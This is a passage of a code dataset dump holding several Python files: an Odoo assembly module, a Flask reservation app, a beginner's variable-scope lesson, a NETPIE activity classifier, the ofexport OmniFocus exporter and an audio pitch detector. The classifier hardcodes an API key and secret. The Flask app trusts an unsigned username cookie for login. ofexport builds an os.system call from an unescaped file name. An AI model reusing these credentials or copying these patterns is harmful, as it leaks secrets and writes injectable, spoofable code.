default=fields.Date.context_today)\n stock_production_prod = fields.Many2one('stock.production.lot','Serial Number',readonly=True, states={'draft': [('readonly', False)]})\n location_src_id = fields.Many2one('stock.location','Location',readonly=True, states={'draft': [('readonly', False)]})\n state = fields.Selection([('draft', 'Draft'),('done', 'Done'),('cancel','Cancelled')], string='Status', default='draft')\n\n @api.depends('product_id')\n def _compute_product_id(self):\n for record in self:\n product = self.env['product.product'].search([('product_tmpl_id','=',record.product_id.id)], limit=1)\n record.product_product_id = product.id\n\n @api.onchange('product_id', 'quantity_pro')\n def onchange_product_id(self):\n if self.product_id:\n data = []\n for line in self.product_id.material_ids:\n data.append((0, 0, {'product_id': line.product_id.id, 'qty_pro': line.material_quantity * self.quantity_pro}))\n self.material_id = data\n\n @api.model\n def create(self, vals):\n vals['name'] = self.env['ir.sequence'].next_by_code('res.assemble') or 'New'\n result = super(ResAssemble, self).create(vals)\n if result.material_id and result.stock_production_prod:\n result.stock_production_prod.write({'material_ids': [(6, 0 , [result.material_id.ids])]})\n return result\n\n @api.multi\n def write(self, vals):\n result = super(ResAssemble, self).write(vals)\n if self.material_id and self.stock_production_prod:\n self.stock_production_prod.write({'material_ids': [(6, 0 , [self.material_id.ids])]})\n return result\n\n @api.multi\n def compute_product_qty(self, product_id):\n quant_ids = self.env['stock.quant'].sudo().search([('product_id','=',product_id),('location_id','=',self.location_src_id.id)])\n return sum([quant.qty for quant in quant_ids])\n\n @api.multi\n def action_assemble(self):\n if not self.material_id:\n raise UserError('Can not assemble without materials')\n for line in self.material_id:\n available_qty = self.compute_product_qty(line.product_id.id)\n if line.qty_pro > available_qty:\n raise UserError('%s : Quantity greater than the on hand quantity (%s)' % (line.product_id.name, available_qty))\n dest_location = self.env['stock.location'].search([('usage', '=', 'production')], limit=1)\n # Calculating the product_data from the materials\n product_data = {}\n for line in self.material_id:\n if line.product_id.id not in product_data:\n product_data.update({line.product_id.id: line.qty_pro})\n else:\n product_data.update({line.product_id.id: line.qty_pro + product_data.get(line.product_id.id)})\n\n for record in self:\n product_obj = self.env['product.product'].search([('product_tmpl_id','=',record.product_id.id)], limit=1)\n # increasing qty of main product\n vals = {\n 'product_id': product_obj.id,\n 'product_uom_qty': record.quantity_pro,\n 'product_uom': product_obj.uom_id.id,\n 'name': product_obj.name,\n 'date_expected': fields.Datetime.now(),\n 'procure_method': 'make_to_stock',\n 'location_id': dest_location.id,\n 'location_dest_id': record.location_src_id.id,\n 'origin': record.name,\n 'restrict_lot_id': record.stock_production_prod.id or False,\n }\n move = self.env['stock.move'].create(vals)\n move.action_confirm()\n move.action_done()\n\n # decreasing material qty\n for product_id in product_data:\n if product_data.get(product_id):\n lot_line_id = self.env['assemble.materials'].search([('assemble_id','=',record.id),('product_id','=',product_id)])\n product_obj = self.env['product.product'].browse(product_id)\n stock_move = {\n 'product_id': product_obj.id,\n 'product_uom_qty': product_data.get(product_id),\n 'product_uom': product_obj.uom_id.id,\n 'name': product_obj.name,\n 'date_expected': fields.Datetime.now(),\n 'procure_method': 'make_to_stock',\n 'location_id': record.location_src_id.id,\n 'location_dest_id': dest_location.id,\n 'origin': record.name,\n 'restrict_lot_id': lot_line_id.stock_lot.id or False,\n }\n move = self.env['stock.move'].create(stock_move)\n move.action_confirm()\n move.action_done()\n\n self.write({'state': 'done'})\n return True\n\n @api.multi\n def action_cancel(self):\n self.write({'state': 'cancel'})\n return True\n\nResAssemble()\n\nclass AssembleMaterials(models.Model):\n _name = 'assemble.materials'\n\n assemble_id = fields.Many2one('res.assemble', 'Materials')\n product_id = fields.Many2one('product.product', 'Product')\n qty_pro = fields.Integer('Quantity')\n stock_lot = fields.Many2one('stock.production.lot', 'Serial Number')\n\nAssembleMaterials()\n\nclass ProductTemplate(models.Model):\n _inherit = 'product.template'\n\n @api.multi\n def assemble_form_view(self):\n ctx = dict()\n form_id = self.env['ir.model.data'].sudo().get_object_reference('simple_assemble_disassemble', 'res_assemble_form_view')[1]\n ctx.update({\n 'default_product_id': self.id,\n })\n action = {\n 'type': 'ir.actions.act_window',\n 'view_type': 'form',\n 'view_mode': 'form',\n 'res_model': 'res.assemble',\n 'views': [(form_id, 'form')],\n 'view_id': form_id,\n 'target': 'new',\n 'context': ctx,\n }\n return action\n\nProductTemplate()\n","sub_path":"beta-dev1/simple_assemble_disassemble/models/res_assemble.py","file_name":"res_assemble.py","file_ext":"py","file_size_in_byte":7089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"129384366","text":"from flask import Flask, render_template, redirect, request, Response\nfrom tools.validators import *\nfrom tools.helper import *\nfrom tools.cookies import make_cookie_resp\nfrom database.users import User\nfrom database.resource import Resource\nfrom database.tag import Tag\nfrom database.reservation import Reservation\n\napp = Flask(__name__)\napp.config['DEBUG'] = True\n\n# Note: We don't need to call run() since our application is embedded within\n# the App Engine WSGI application server.\n\n\n@app.route('/')\ndef hello():\n username = request.cookies.get('username')\n resv = Reservation.by_username(username)\n return render_template('front.html', username=username, res=Resource.get_all(),\n res2=Resource.by_user(username), resv=resv\n )\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n if request.method == 'POST':\n username = request.form['username']\n password = request.form['password']\n u = User.login(username, password)\n if not u:\n error = 'Invalid Credentials. Please try again.'\n return render_template('login.html', error=error)\n else:\n return make_cookie_resp(username)\n return render_template('login.html')\n\n@app.route('/logout')\ndef logout():\n return make_cookie_resp(None, logout=True)\n\n@app.route('/res/')\ndef res_page(id):\n ans = Resource.by_id(str(id))\n resv = Reservation.by_rid(str(ans.key()))\n return render_template('res_page.html', r=ans, resv=resv, username=request.cookies.get('username'))\n\n@app.route('/tag/')\ndef tag_page(id):\n ans = Tag.by_key(id)\n tagname = ans.name\n tags = Tag.by_name(tagname)\n res = []\n for t in tags:\n res.append(Resource.by_id(t.rid))\n return render_template('tags.html', tagname=tagname, res=res, username=request.cookies.get('username'))\n\n@app.route('/make_reservation/', methods=['GET', 'POST'])\ndef make_reservation(id):\n res = Resource.by_id(str(id))\n resv = Reservation.by_rid(str(res.key()))\n if request.method == 'POST':\n error = None\n st = convert_date_2(request.form['start_time'])\n et = convert_date_2(request.form['end_time'])\n st_day = convert_date(str(st)[-8:-3])\n et_day = convert_date(str(et)[-8:-3])\n if st_day < res.start_time:\n error = \"start time earlier than available start time\"\n if et_day > res.end_time:\n error = \"end time later than available end time\"\n if st > et:\n error = \"end time should be larger than start time\"\n if str(st)[:10] != str(et)[:10]:\n error = \"only support reservation ends at same day\"\n for resvation in resv:\n if resvation.start_time < st and resvation.end_time > st:\n error = \"conflict with earlier reservation: \" + str(resvation.start_time) + \"~\" + str(resvation.end_time)\n break\n if resvation.start_time < et and resvation.end_time > et:\n error = \"conflict with earlier reservation: \" + str(resvation.start_time) + \"~\" + str(resvation.end_time)\n break\n if error is not None:\n return render_template('make_reservation.html', r=res, error=error, username=request.cookies.get('username'))\n resv = Reservation.create_reservation(st, et, request.cookies.get('username'), str(res.key()))\n resv.put()\n return redirect('/res/' + str(res.key()))\n return render_template('make_reservation.html', r=res, resv=resv, username=request.cookies.get('username'))\n\n@app.route('/signup', methods=['GET', 'POST'])\ndef signup():\n if request.method == 'POST':\n have_error = False\n params = dict(username=request.form['username'])\n\n if not valid_username(request.form['username']):\n params['error_username'] = \"That's not a valid username.\"\n have_error = True\n\n if not valid_password(request.form['password']):\n params['error_username'] = \"That's not a valid username.\"\n have_error = True\n\n if request.form['password'] != request.form['verify']:\n params['error_verify'] = \"Your passwords didn't match.\"\n have_error = True\n\n if User.by_name(request.form['username']):\n params['error_username'] = 'That user already exists.'\n\n if have_error:\n return render_template('signup.html', **params)\n\n u = User.register(request.form['username'], request.form['password'])\n u.put()\n\n return make_cookie_resp(request.form['username'])\n\n return render_template('signup.html')\n\n\n@app.route('/add_resource', methods=['GET', 'POST'])\ndef add_res():\n if request.method == 'POST':\n if convert_date(request.form['start_time']) > convert_date(request.form['end_time']):\n return render_template('add_resource.html', error=True)\n res = Resource.create_res(\n request.form['name'],\n convert_date(request.form['start_time']),\n convert_date(request.form['end_time']),\n get_numeric_val(request.form['start_time']),\n get_numeric_val(request.form['end_time']),\n request.cookies.get('username'),\n request.form['tag']\n )\n res.put()\n tags = request.form['tag'].split(';')\n for t in tags:\n tg = Tag.create_tag(t, str(res.key()))\n tg.put()\n return redirect('/')\n return render_template('add_resource.html', username=request.cookies.get('username'))\n\n\n@app.route('/edit/', methods=['GET', 'POST'])\ndef edit_res(id):\n res = Resource.by_id(str(id))\n if request.method == 'POST':\n res = Resource.by_id(str(id))\n Tag.delete_by_key(str(res.key()))\n if convert_date(request.form['start_time']) > convert_date(request.form['end_time']):\n return render_template('add_resource.html', error=True)\n res.name = request.form['name']\n res.start_time = convert_date(request.form['start_time'])\n res.end_time = convert_date(request.form['end_time'])\n res.start_time_n = get_numeric_val(request.form['start_time'])\n res.end_time_n = get_numeric_val(request.form['end_time'])\n res.belonging_user = request.cookies.get('username')\n res.tag = request.form['tag']\n res.put()\n tags = request.form['tag'].split(';')\n for t in tags:\n tg = Tag.create_tag(t, str(res.key()))\n tg.put()\n return redirect('/')\n return render_template('add_resource.html', username=request.cookies.get('username'),\n edit=True, name=res.name, tag=res.tag,\n start_time=str(res.start_time)[-8:-3], end_time=str(res.end_time)[-8:-3], id=str(res.key()))\n\n\n@app.route('/rss/')\ndef rss(id):\n return Response(dump_to_xml(id), mimetype='text/xml')\n\n@app.route('/del/')\ndef delete(id):\n Reservation.delete_by_id(str(id))\n return redirect('/')\n\n@app.errorhandler(404)\ndef page_not_found(e):\n \"\"\"Return a custom 404 error.\"\"\"\n return 'Sorry, nothing at this URL.', 404\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"229031353","text":"a =6890 #global variable\ndef fun1():\n s =2000 # local variable\n print(s)\ndef fun2():\n print(a) #using Local variable.\n#calling block\nprint(a)\nfun1()\nfun2()\nfun1()\n# print(s) Here \"s\" is not defined we have to call with the fun1 (function name)\n","sub_path":"7-8(am)/all folders/core,python/Global,local,parameters/local variable.py","file_name":"local variable.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"470817834","text":"import microgear.client as client\nimport logging\nimport time\nimport pickle\nimport pandas as pd\nimport numpy as np\n\nappid = \"ekaratnida\"\ngearkey = 'jtD9ag08syPtqiK' # key\ngearsecret = 'vDEEIuw9Ssj4OvbrBHmM4hZfa' # secret\n\nclient.create(gearkey,gearsecret,appid,{'debugmode': True}) # สร้างข้อมูลสำหรับใช้เชื่อมต่อ\n\nclient.setalias(\"ekarat\") # microgear name\n\n#create blank dataframe for source and output data\ndf_source = pd.DataFrame(columns=['time','x1','x2', 'x3'])\ndf_out = pd.DataFrame(columns=['time', 'activity'])\n\n#select trained model\nwith open('SVM_Activity_model_window5_new_all_shuffled.pkl', 'rb') as f:\n clf = pickle.load(f)\n\n#create function that form slding window data in batch where w = window_size, o = striding unit\ndef window(a, w = 5, o = 1, copy = False):\n sh = (a.size - w + 1, w)\n st = a.strides * 2\n view = np.lib.stride_tricks.as_strided(a, strides = st, shape = sh)[0::o]\n if copy:\n return view.copy()\n else:\n return view\n\n#preprocess raw source data into sliding window data\ndef preprocess_stream(source):\n df = source \n df_window = pd.DataFrame(np.concatenate((window(df.time.to_numpy()), window(df.x1.to_numpy()), window(df.x2.to_numpy()), window(df.x3.to_numpy())),axis=1))\n df_window.columns = [i for i in range(len(df_window.columns))]\n\t\n return df_window\n\n\ndef callback_connect() :\n print (\"Now I am connected with netpie\")\n \ndef callback_message(topic, message) :\n\n\t#take input message data and chagne data type\n data = message.split(',')\n data[1] = float(data[1])\n data[2] = float(data[2])\n data[3] = float(data[3][:-1])\n\n #use global parameter\n global df_out\n global df_source\n df_source = df_source.append(pd.Series(data, index=df_source.columns),ignore_index=True)\n\t\n print(topic, \": \", message, end=' - ')\n\t\n if len(df_source) >= 5:\n y = preprocess_stream(df_source)\n\t\t\n #use bottom 5 rows from windowed df_source when doing prediction\n activity = clf.predict(y.iloc[-1:,-15:])\n time = y.iloc[-1,2]\n\t\t\n if activity == 0:\n act = 'Running'\n print(act)\n elif activity == 1:\n act = 'Standing'\n print(act)\n elif activity == 2:\n act = 'Walking'\n print(act)\n \n df_out = df_out.append(pd.Series([time[2:], act], index=df_out.columns),ignore_index=True)\n df_out.to_csv('output.csv', index=False)\n\ndef callback_error(msg) :\n print(\"error\", msg)\n\n\nclient.on_connect = callback_connect # display successfully connected message with connected to netpie\nclient.on_message= callback_message # display received message sent from netpie's publisher\nclient.on_error = callback_error # display this when error occured\nclient.subscribe(\"/bads\") # netpie's publisher topic to subscribed\nclient.connect(True) # เwhen True -- client.on_message= callback_message \n","sub_path":"Human_Activity_SVC_windowed/sub_iot_activity_5_shuffled.py","file_name":"sub_iot_activity_5_shuffled.py","file_ext":"py","file_size_in_byte":2959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"207449505","text":"'''\nCopyright 2013 Paul Sidnell\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n'''\n\nimport os\nimport codecs\nimport getopt\nimport sys\nimport json\nfrom treemodel import traverse, Visitor, FOLDER, CONTEXT, PROJECT, TASK\nfrom omnifocus import build_model, find_database\nfrom datetime import date, datetime\nfrom of_to_tp import PrintTaskpaperVisitor\nfrom of_to_text import PrintTextVisitor\nfrom of_to_md import PrintMarkdownVisitor\nfrom of_to_opml import PrintOpmlVisitor\nfrom of_to_html import PrintHtmlVisitor\nfrom of_to_ics import PrintCalendarVisitor\nfrom of_to_json import ConvertStructureToJsonVisitor, read_json\nfrom help import print_help, SHORT_OPTS, LONG_OPTS\nfrom fmt_template import FmtTemplate, format_document\nfrom cmd_parser import make_filter\nimport logging\nimport cmd_parser\n\nlogging.basicConfig(format='%(asctime)-15s %(name)s %(levelname)s %(message)s', stream=sys.stdout)\nlogger = logging.getLogger(__name__)\nlogger.setLevel(level=logging.ERROR)\n\nLOGGER_NAMES = [\n __name__,\n 'cmd_parser',\n 'visitors',\n 'datematch',\n 'treemodel',\n 'omnifocus',\n 'fmt_template',\n 'of_to_ics']\n\nclass SummaryVisitor (Visitor):\n def __init__ (self):\n self.counts = {}\n def end_any (self, item):\n if not 'counted' in item.attribs:\n item.attribs['counted'] = True\n if item.type in self.counts:\n self.counts[item.type] = self.counts[item.type] + 1\n else:\n self.counts[item.type] = 1\n def print_counts (self):\n # Subtract for the extra invisible roots that we've added.\n if CONTEXT in self.counts:\n self.counts[CONTEXT] = self.counts[CONTEXT]-1\n if FOLDER in self.counts:\n self.counts[FOLDER] = self.counts[FOLDER]-1\n \n logger.info ('Report Contents:')\n logger.info ('----------------')\n for k,v in [(k,self.counts[k]) for k in sorted(self.counts.keys())]:\n k = ' ' * (8 - len(k)) + k + 's:'\n logger.info (k + ' ' + str(v))\n logger.info ('----------------')\n\ndef load_template (template_dir, name):\n logger.info ('loading template: %s', name)\n instream=codecs.open(template_dir + name + '.json', 'r', 'utf-8')\n template = FmtTemplate (json.loads(instream.read()))\n instream.close ()\n return template\n\ndef fix_abbrieviated_expr (typ, arg):\n if arg.startswith ('=') or arg.startswith ('!='):\n if typ == 'any' or typ == 'all':\n result = 'name' + arg + ''\n else:\n result = '(type=' + typ + ') and (name' + arg + ')'\n elif arg in ['prune', 'flatten']:\n result = arg + ' ' + typ\n elif arg.startswith ('sort'):\n if arg == 'sort':\n result = arg + ' ' + typ + ' text'\n else:\n bits = arg.split ()\n assert len (bits) == 2, 'sort can have one field type argument'\n result = 'sort' + ' ' + typ + ' ' + bits[1]\n else:\n if typ == 'any' or typ == 'all':\n result = arg\n else:\n result = '(type=' + typ + ') and (' + arg + ')'\n logger.debug (\"adapted argument: '%s'\", result)\n return result\n\ndef set_debug_opt (name, value):\n if name== 'now' : \n the_time = datetime.strptime (value, \"%Y-%m-%d\")\n cmd_parser.the_time = the_time\n\nif __name__ == \"__main__\":\n sys.stdout = codecs.getwriter('utf8')(sys.stdout)\n \n today = date.today ()\n time_fmt='%Y-%m-%d'\n opn=False\n project_mode=True\n file_name = None\n infile = None\n template = None\n template_dir = os.environ['OFEXPORT_HOME'] + '/templates/'\n include = True\n \n opts, args = getopt.optlist, args = getopt.getopt(sys.argv[1:],SHORT_OPTS, LONG_OPTS)\n \n assert len (args) == 0, \"unexpected arguments: \" + str (args)\n \n for opt, arg in opts:\n if '--open' == opt:\n opn = True\n elif '-o' == opt:\n file_name = arg\n elif '-i' == opt:\n infile = arg\n elif '-T' == opt:\n template = load_template (template_dir, arg)\n elif '-v' == opt:\n for logname in LOGGER_NAMES:\n logging.getLogger(logname).setLevel (logging.INFO)\n elif '-V' == opt:\n level = arg\n for logname in LOGGER_NAMES:\n logging.getLogger(logname).setLevel (logging.__dict__[arg])\n elif '-z' == opt:\n for logname in LOGGER_NAMES:\n logging.getLogger(logname).setLevel (logging.DEBUG)\n elif '--log' == opt:\n bits = arg.split('=')\n assert len(bits) == 2\n name = bits[0]\n level = bits[1]\n if name=='ofexport':\n name = __name__\n logging.getLogger(name).setLevel (logging.__dict__[level])\n elif '--debug' == opt:\n bits = arg.split('=')\n assert len(bits) == 2\n name = bits[0]\n value = bits[1]\n set_debug_opt (name, value)\n elif opt in ('-?', '-h', '--help'):\n print_help ()\n sys.exit()\n \n if file_name == None:\n fmt = 'txt'\n else:\n assert file_name.find ('.') != -1, \"filename has no suffix\"\n dot = file_name.index ('.')\n fmt = file_name[dot+1:]\n \n if infile != None:\n root_project, root_context = read_json (infile)\n else: \n root_project, root_context = build_model (find_database ())\n \n subject = root_project\n \n for opt, arg in opts:\n logger.debug (\"executing option %s : %s\", opt, arg)\n visitor = None\n if opt in ('--project', '-p'):\n fixed_arg = fix_abbrieviated_expr(PROJECT, arg)\n visitor = make_filter (fixed_arg, include)\n elif opt in ('--task', '-t'):\n fixed_arg = fix_abbrieviated_expr(TASK, arg)\n visitor = make_filter (fixed_arg, include)\n elif opt in ('--context', '-c'):\n fixed_arg = fix_abbrieviated_expr(CONTEXT, arg)\n visitor = make_filter (fixed_arg, include)\n elif opt in ('--folder', '-f'):\n fixed_arg = fix_abbrieviated_expr(FOLDER, arg)\n visitor = make_filter (fixed_arg, include)\n elif opt in ('--any', '-a'):\n visitor = make_filter (fix_abbrieviated_expr('any', arg), include)\n elif '-C' == opt:\n logger.info ('context mode')\n subject = root_context\n elif '-P' == opt:\n logger.info ('project mode')\n subject = root_project\n elif '-I' == opt:\n logger.info ('include mode')\n include = True\n elif '-E' == opt:\n include = False\n logger.info ('exclude mode')\n \n logger.debug (\"created filter %s\", visitor)\n if visitor != None:\n logger.info ('running filter %s', visitor)\n traverse (visitor, subject, project_mode=project_mode)\n \n logger.info ('Generating: %s', file_name)\n \n if file_name != None:\n out=codecs.open(file_name, 'w', 'utf-8')\n else: \n out = sys.stdout\n \n if fmt in ('txt', 'text'):\n template = template if template != None else load_template (template_dir, 'text')\n visitor = PrintTextVisitor (out, template)\n format_document (subject, visitor, project_mode)\n elif fmt in ('md', 'markdown', 'ft', 'foldingtext'):\n template = template if template != None else load_template (template_dir, 'markdown')\n visitor = PrintMarkdownVisitor (out, template)\n format_document (subject, visitor, project_mode)\n elif fmt in ('tp', 'taskpaper'):\n template = template if template != None else load_template (template_dir, 'taskpaper')\n visitor = PrintTaskpaperVisitor (out, template)\n format_document (subject, visitor, project_mode)\n elif fmt == 'opml':\n template = template if template != None else load_template (template_dir, 'opml')\n visitor = PrintOpmlVisitor (out, template)\n format_document (subject, visitor, project_mode)\n elif fmt in ('html', 'htm'):\n template = template if template != None else load_template (template_dir, 'html')\n visitor = PrintHtmlVisitor (out, template)\n format_document (subject, visitor, project_mode)\n elif fmt in ('ics'):\n template = template if template != None else load_template (template_dir, 'ics')\n visitor = PrintCalendarVisitor (out, template)\n format_document (subject, visitor, project_mode)\n elif fmt == 'json':\n # json has intrinsic formatting - no template required\n root_project.marked = True\n root_context.marked = True\n visitor = ConvertStructureToJsonVisitor ()\n traverse (visitor, root_project, project_mode=True)\n visitor = ConvertStructureToJsonVisitor ()\n traverse (visitor, root_context, project_mode=False)\n print >> out, json.dumps([root_project.attribs['json_data'], root_context.attribs['json_data']], sort_keys=True, indent=2)\n else:\n raise Exception ('unknown format ' + fmt)\n \n if file_name != None:\n out.close()\n if opn:\n os.system(\"open '\" + file_name + \"'\")\n \n visitor = SummaryVisitor ()\n traverse (visitor, root_project, project_mode=True)\n traverse (visitor, root_context, project_mode=False)\n visitor.print_counts()\n","sub_path":"bin/ofexport-master/src/main/python/ofexport.py","file_name":"ofexport.py","file_ext":"py","file_size_in_byte":9952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"219260316","text":"\nfrom Seating import Seating\nfrom Table import Table\nfrom Server import Server\nfrom Restaurant import Restuarant\nfrom Customer import Customer\n\n\ndef opening_menu():\n choices = [1, 2, 3, 4, 5]\n print(\"Welcome to Ben and Jimmy's Shrimp Shack by the Sea\")\n choice = int(input(\"\\nPlease select an option from the following list\\n\"\n \"Enter '1' to be seated\\n\"\n \"Enter '2' to order\\n\"\n \"Enter '3' to get the check\\n\"\n \"Enter '4' to leave the restaurant\\n\"\n \"Enter '5' to exit program\\n\"\n \"Enter your choice: \"))\n\n while choice not in choices:\n print(\"Invalid input, please enter 1, 2, 3, 4 or 5\")\n\n return choice\n\n\ndef seating_menu():\n print(\"Please fill in the following information, and we will have you seated right away\")\n party_name = input(\"What is the name of your party: \")\n party_size = int(input(\"How many people are in your party: \"))\n location = input(\n \"Do you have a location preference ('W' for window, 'B' for bar, 'O' for outside, 'I' for inside, 'N' for no preference): \")\n print(\"Please wait while we check our availability \")\n\n return party_name, party_size, location\n\n\n# def initialize_restuarant():\n# server1 = Server(\"Lisa\", False)\n# server2 = Server(\"Bob\", False)\n# server3 = Server(\"Joe\", False)\n# server4 = Server(\"Kate\", False)\n# server5 = Server(\"John\", False)\n# servers = [server1, server2, server3, server4, server5]\n#\n# table1 = Table(4, \"W\", True)\n# table2 = Table(10, \"B\", True)\n# table3 = Table(4, \"N\", True)\n# table4 = Table(4, \"N\", True)\n# table5 = Table(2, \"W\", True)\n# table6 = Table(6, \"N\", True)\n# table7 = Table(3, \"O\", True)\n# table8 = Table(2, \"N\", True)\n# table9 = Table(12, \"O\", True)\n# table10 = Table(2, \"N\", True)\n#\n# tables = [table1, table2, table3, table4, table5, table6, table7, table8, table9, table10]\n#\n# ourRestuarant = Restuarant(servers, tables)\n# return ourRestuarant\n\n\n# def check_availability(customer1, restuarant):\n# all_tables = restuarant.get_tables()\n# table_found = False\n#\n# for table in all_tables:\n#\n# if table.get_is_free() and customer1.get_location_pref() == table.get_location() and table.get_num_seats() >= customer1.get_party_size():\n# # print(\"FOUND\")\n# table_found = True\n# # table.show_table_data()\n# valid_table = table\n#\n# if not table_found:\n# print(\"Hold on we dont have anything available at this time\")\n# customer1.is_waiting = True\n# return False, None\n#\n# else:\n# customer1.is_seated = True\n# print(\"The hostess will be seating you shortly\")\n# return True, valid_table\n\n\ndef customer_leaves(restaurant, list_of_seatings):\n all_tables = restaurant.get_tables()\n for table in all_tables:\n for seating in list_of_seatings:\n if seating.get_table() == table:\n table.clear()\n\n\ndef main():\n seated_customers = []\n waiting_customers = []\n\n list_of_seatings = []\n theRestuarant = initialize_restuarant()\n\n choice = opening_menu()\n\n while choice != 5:\n # if customer wants to be seated\n if choice == 1:\n customer_name, customer_size, location = seating_menu()\n customer1 = Customer(customer_name, customer_size, location)\n\n customer_seated, open_table = check_availability(customer1, theRestuarant)\n\n # if we have a table open, need to have a server seat the customer\n seated = False\n if customer_seated:\n for server in theRestuarant.get_servers():\n if not server.is_busy:\n print(\"Our server \" + server.get_name() + \" is ready to seat you now\")\n seating = Seating(server, customer1, open_table, customer1.get_location_pref())\n seating.seat()\n seating.show_seating()\n seated_customers.append(customer1.get_party_name())\n list_of_seatings.append(seating)\n seated = True\n break\n if server.is_busy and not seated:\n print(\n \"Please continue waiting. We have no servers available to seat you at this moment. You should be seated briefly\")\n\n if choice == 2:\n name_customer = input(\"What is the name of your party so we can send of your server: \")\n if name_customer in seated_customers:\n for seating in list_of_seatings:\n print(\"SEATED CUSTOMER: \" + seating.get_customer_name())\n if seating.get_customer_name() == name_customer:\n print(\n \"Your sever, \" + seating.get_server_name() + \" will be over to take your order soon. Thanks!\")\n\n if choice == 3:\n name_customer = input(\"What is the name of your party so we can send of your server: \")\n if name_customer in seated_customers:\n for seating in list_of_seatings:\n print(\"SEATED CUSTOMER: \" + seating.get_customer_name())\n if seating.get_customer_name() == name_customer:\n print(\n \"Your sever, \" + seating.get_server_name() + \" will be over with your check shortly. Thanks!\")\n if choice == 4:\n name_customer = input(\"What is the name of your party so we can send of your server: \")\n if name_customer in seated_customers:\n for seating in list_of_seatings:\n print(\"SEATED CUSTOMER: \" + seating.get_customer_name())\n if seating.get_customer_name() == name_customer:\n for table in theRestuarant.get_tables():\n if table.get_location() == seating.get_location():\n table.clear()\n else:\n print(\"You do not have a table at this time. Therefore, you're unable to leave :)\")\n\n theRestuarant.show_tables()\n\n choice = opening_menu()\n\n\nmain()\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"622720448","text":"import pyaudio\nimport time\nimport numpy as np\nfrom threading import Thread\nfrom queue import Queue\nfrom scipy import signal\n\nfrom numba import jit\n\n# absolute threshold for onset detection\nONSET_THRES = 0.027\n# automatically terminate after duration\nSTREAM_DURATION = 40 # second\n\nDTYPE = np.float32\nCHANNELS = 1\nFS = 48000 # Hz\n# CHUNK_SIZE = 512\nCHUNK_SIZE = 128\nLOCALIZE_SIZE = 2048\nNUM_HOLD = LOCALIZE_SIZE//CHUNK_SIZE\nHOLD_COUNT = 0\n\nprint(\"maximum resolution: {0:.3f} s\".format(LOCALIZE_SIZE/FS))\nprint(\"warning: first onset is useless; to be fixed\")\n\n# Axiliary glabal variables: to be refactored\nanalyze_queue = Queue()\nwindow = np.kaiser(LOCALIZE_SIZE, 13)\nfreq = np.fft.fftfreq(LOCALIZE_SIZE, 1/FS)[0:LOCALIZE_SIZE//2]\nhpcoef_b, hpcoef_a = signal.butter(3, [300/(FS/2), 1800/(FS/2)], btype='band')\nzi = signal.lfilter_zi(hpcoef_b, hpcoef_a)\n\ndef print_star(pitch):\n num_star = int((pitch-500)/25)\n if num_star < 0:\n num_star = 0\n else:\n print(\"{0:04d}hz\\t\".format(int(pitch)),end = \"\")\n for i in range(num_star):\n print('#', end='')\n print(\"\")\n\n@jit(nopython=True)\ndef mult_wind(sample):\n return np.multiply(window, sample)\n\ndef estimate_pitch(sample):\n \"\"\"\n Estimate pitch from sample.\n \"\"\"\n windowed_sample = mult_wind(sample)\n sample_fft = np.fft.fft(windowed_sample, LOCALIZE_SIZE//2)\n return freq[np.argmax(np.absolute(sample_fft))]\n\ndef analyze_threadf():\n \"\"\"\n Frequency analyzing thread function.\n \"\"\"\n hold_count = NUM_HOLD - 1\n segments_buffer = []\n while(True):\n # queue.get blocks thread till new data arrives\n segment = analyze_queue.get()\n if (hold_count > 0): \n segments_buffer.append(segment)\n else:\n segments_buffer.append(segment)\n localized_sample = np.concatenate(segments_buffer)\n # localized sample processed here\n pitch = estimate_pitch(localized_sample)\n print_star(pitch)\n segments_buffer.clear()\n hold_count = NUM_HOLD - 1\n \ndef detect_onset(in_data, frame_count, time_info, flag):\n \"\"\"\n Onset detector. Runs on separate thread implicitly.\n \"\"\"\n # Raw streaming data with size CHUNK_SIZE\n audio_data = np.frombuffer(in_data, dtype=DTYPE)\n global zi\n global HOLD_COUNT\n audio_filtered, zi = signal.lfilter(hpcoef_b, hpcoef_a, audio_data, zi=zi)\n if (HOLD_COUNT > 0):\n # hold and sample\n analyze_queue.put(audio_filtered)\n HOLD_COUNT -= 1\n else:\n if (any(audio_filtered>ONSET_THRES)):\n # Onset detected here\n HOLD_COUNT = NUM_HOLD\n return in_data, pyaudio.paContinue\n\ndef stream_threadf():\n \"\"\"\n Audio streaming thread function.\n \"\"\"\n p = pyaudio.PyAudio()\n stream = p.open(format=pyaudio.paFloat32,\n channels=CHANNELS,\n rate=FS,\n output=False,\n input=True,\n stream_callback=detect_onset,\n frames_per_buffer=CHUNK_SIZE)\n stream.start_stream()\n while stream.is_active():\n time.sleep(STREAM_DURATION)\n stream.stop_stream()\n print(\"Stream is stopped\") \n stream.close()\n p.terminate()\n\nstream_thread = Thread(target=stream_threadf)\nanalyze_thread = Thread(target=analyze_threadf, daemon = True)\nstream_thread.start()\nanalyze_thread.start()\n\nstream_thread.join()\n\n","sub_path":"code/audiostream_test.py","file_name":"audiostream_test.py","file_ext":"py","file_size_in_byte":3434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"644195275","text":"from os import listdir\nfrom os.path import isfile, join, dirname, realpath, isdir\nfrom shutil import copyfile\n\n\nclass OrmFile(object):\n\n CURR_DIR = dirname(realpath(__file__))\n\n SRM_ORM_DIR = join(CURR_DIR, \"srm\")\n\n 